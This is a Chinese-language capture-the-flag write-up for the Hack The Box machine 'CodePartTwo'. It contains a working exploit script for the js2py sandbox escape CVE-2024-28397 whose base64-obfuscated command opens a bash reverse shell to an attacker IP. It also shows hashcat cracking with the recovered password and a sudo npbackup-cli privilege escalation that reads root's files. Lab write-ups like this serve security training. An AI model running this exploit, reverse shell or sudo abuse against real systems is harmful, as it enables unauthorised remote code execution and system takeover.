
nmap -T4 -v -A -Pn 10.10.11.82 -oN codeparttwo.txt

user
进入 8000,可以看到有三个功能点,登录注册和下载

可以看到下载之后为源码

runcode 这个方法会将代码传输给 js2py.eval_js 进行执行


cve-2024-28397
对于 js2py,有这个漏洞。js2py 的默认环境像一个沙箱,它限制了 JavaScript 代码访问 Node.js 的核心功能
https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape
但是这个只是本地环境验证的 poc,需要修改一下
import requests
import json
url = 'http://codepartwo.htb:8000/run_code'
js_code = """
// [+] command goes here:
let cmd = "echo KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuNDUvNTU2NiAwPiYxKSAm|base64 -d|bash";
let hacked, bymarve, n11;
let getattr, obj;
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(n11);
n11;
"""
payload = {"code": js_code}
headers = {"Content-Type": "application/json"}
# 向远程服务器发送POST请求,执行恶意代码
exp = requests.post(url, data=json.dumps(payload), headers=headers)
print(exp.text)

我们下载的文件中有个 users.db,但是表里的 user 没有东西
users.db
我们可以看看这个有没有

下面是 shell 中拿到的新的 users.db

marco 用户是有的,刚刚 shell 中看到
hashcat 爆破一下
hashcat hash.txt /usr/share/wordlists/rockyou.txt --show
sweetangelbabylove
ssh 连接,就可以连接拿到 user.txt 了

root
npbackup
sudo -l 可以看到可以执行 npbackup-cli

sudo /usr/local/bin/npbackup-cli --dump /root/root.txt --snapshot-id latest
会提示需要配置文件,当前目录下面就有一个配置文件。
将配置目录改成/root


先备份
sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf -b -f

再查看
sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --dump /root/root.txt --snapshot-id latest




Comments | NOTHING